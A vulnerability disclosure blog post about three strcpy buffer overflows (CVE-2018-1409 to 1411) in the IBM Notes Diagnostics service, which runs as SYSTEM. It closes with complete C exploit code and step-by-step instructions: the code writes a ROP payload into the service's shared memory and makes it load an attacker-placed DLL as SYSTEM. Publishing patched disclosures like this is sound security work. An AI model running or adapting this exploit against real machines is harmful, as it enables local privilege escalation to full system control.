Privilege Escalation in IBM Notes Diagnostics #3-5

This is the fourth blog post in a series documenting various bugs found in installed software during customer engagements. Vulnerabilities will be published, when the vendor has provided fixes, or our deadline for the vendor to take action expires. This process is aligned with the Improsec Responsible Disclosure Policy.

In these blog posts I tend to be a bit verbose and give some insights into the process. Concrete exploitation steps and code is listed at the bottom.

CVE-IDs:CVE-2018-1409CVE-2018-1410 and CVE-2018-1411

IBM Bulletin:

- Security Bulletin: IBM Notes Privilege Escalation in IBM Notes System Diagnostics service

One of the first things I noticed, when looking at the disassembly of nsd.exe for the first time, was the widespread use of unsafe functions like strcpy and strcat. The pattern of their use is not quite clear, as the executable also use the safe versions at some points, and at other points use their own implementation of string handling functions.

As I can supply command line arguments directly to an nsd.exe process running as SYSTEM, as shown in my previous blogpost about this service, I decided that the most obvious place to look was in the function responsible for parsing the command line. 

cb921-3-5_1.png

I found three unsafe uses of strcpy in functions called from this parser, taking arguments directly from the command line. If any thought has been given to security in this application, I guess they have assumed that command line arguments would crash the process running as an unprivileged user, before being sent to the SYSTEM process, and therefore would not pose a threat. As the attacker can just circumvent this boundary by using the shared section communication method, outlined in the last blog post, this assumption proves invalid.

Fixing these vulnerabilities should take about 5 minutes, but when going through the IBM process surrounding a vulnerability submission, the time from the bugs being reported to fixes being supplied to customers lies at around 2-3 months…

In this blog post I will show a simple exploit for the overflow in the handling of the parameter “-excludedprocesses”, the others look quite similar aside from a few small complications.

Figure 1: The "-excludedprocesses" case.

Figure 1: The "-excludedprocesses" case.

Figure 2: Sub_470FE0 is called from this case in the switch.

Figure 2: Sub_470FE0 is called from this case in the switch.

Figure 3: Sub_470FE0 calls strcpy.

Figure 3: Sub_470FE0 calls strcpy.

As there are only ASLR enabled images in the process, I must learn the base address of a module to base my ROP gadget offsets on. As this is a local exploit, this is not a problem, as the base address for a module is fixed across processes under most circumstances. This allows Windows to reuse the code pages, as relocation fix-ups will not be required when loading the dll into a new process at the same base address.

Figure 4: All images are subject to ASLR.

Figure 4: All images are subject to ASLR.

By loading the dll that contains my ROP gadgets in my own process, I can calculate where the gadgets are located in the nsd.exe process that I am exploiting, by adding the base address of the dll in my process to the offsets in the image.

Since it is a vulnerable call to strcpy() I am exploiting, it is a requirement that my buffer does not contain any NULL-bytes, as this would be interpreted as the c-string terminator. In the exploit I take advantage of the fact that some mechanics of the ASLR process seem to ensure that some dlls will always be loaded in addresses in the top of the range, without any leading zeroes. I settled on dbghelp_x86_v6.8.40.dll to ROP in. In the 64-bit version you will need to choose another dll to find gadgets in as dbghelp is loaded in a lower range.

Writing both ROP chains and shellcode is tedious work, so I just opted for a simple ROP chain that will load a dll from an attacker controlled path.

Recommendations

  • Apply the patch/fix provided by IBM in the related Security Bulletin (see above) and/or disable the "IBM Notes Diagnostics" service.

TL;DR

Exploitation steps:

1. Compile the following code (change the hardcoded stuff, like "limiteduser", paths etc.):

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>

CHAR sharedMem[] = "Global\IRIS$NSDSVC$128";

CHAR sharedMemEx[] = "Global\IRIS$NSDSVCEXT2$128";

CHAR svcName[] = "IBM Notes Diagnostics";

int main()

{

    UINT32 imgBase = (UINT32) LoadLibraryA("C:\Program Files (x86)\IBM\Notes\dbghelp_x86_v6.8.40.dll");

    UINT32 gadget = imgBase + 0x0DE1C6;

    UINT32 gadget2 = imgBase + 0x63518;

    HANDLE hMapFile;

    char* pBuf;

    char* pBufData;

    hMapFile = OpenFileMappingA(0x0F001F, FALSE, sharedMem);

    pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);

    pBufData = pBuf + 0x10B00;

    UINT32 count, tmp, argNext;

    count = 0;

    while (count <= 0x80) {

        tmp = count * 0x216;

        if (*(pBuf + tmp + 0x20E) == 1) {

            pBuf = tmp + pBuf;

            argNext = count + 0x80;

            break;

        }

        count++;

    }

    DWORD* ptr = (DWORD*)pBuf;

    ptr[0] = 1;

    ptr = (DWORD*)(pBuf + 0x20E);

    ptr[0] = 0;

    strcpy(pBuf + 4, "c:\users\limiteduser\appdata\local\ibm\notes\data\notes.ini");

    UnmapViewOfFile(pBuf);

    CloseHandle(hMapFile);

    hMapFile = OpenFileMappingA(0x0F001F, FALSE, sharedMemEx);

    pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);

    tmp = (argNext - 0x80) * 0x401;

    pBuf = tmp + pBuf;

    strcpy(pBuf, "-excludedprocesses ");

    for (int i = 0; i < 0x114; i++) {

        pBuf[19 + i] = 'a';

    }

    memcpy(&(pBuf[19 + 0x114]), &gadget, sizeof(gadget));

    strcpy(&(pBuf[19 + 0x114 + sizeof(gadget)]), "dddddddd");

    memcpy(&(pBuf[19 + 0x114 + sizeof(gadget) + 8]), &gadget2, sizeof(gadget2));

    strcpy(&(pBuf[19 + 0x114 + sizeof(gadget) + 8 + sizeof(gadget2)]), "aaaaaaaaaaaaaaaaaac:\a\aaa.dll");

    UnmapViewOfFile(pBuf);

    CloseHandle(hMapFile);

    SC_HANDLE schSCManager;

    schSCManager = OpenSCManager(NULL, NULL, 0x20000);

    SC_HANDLE schService;

    SERVICE_STATUS_PROCESS ssp;

    schService = OpenServiceA(schSCManager, svcName, 0x100);

    ControlService(schService, argNext, (LPSERVICE_STATUS)&ssp);

    return 0;

}

2. Place a malicious dll as c:\a\aaa.dll.

3. Execute the compiled executable. The dll is loaded in the SYSTEM process.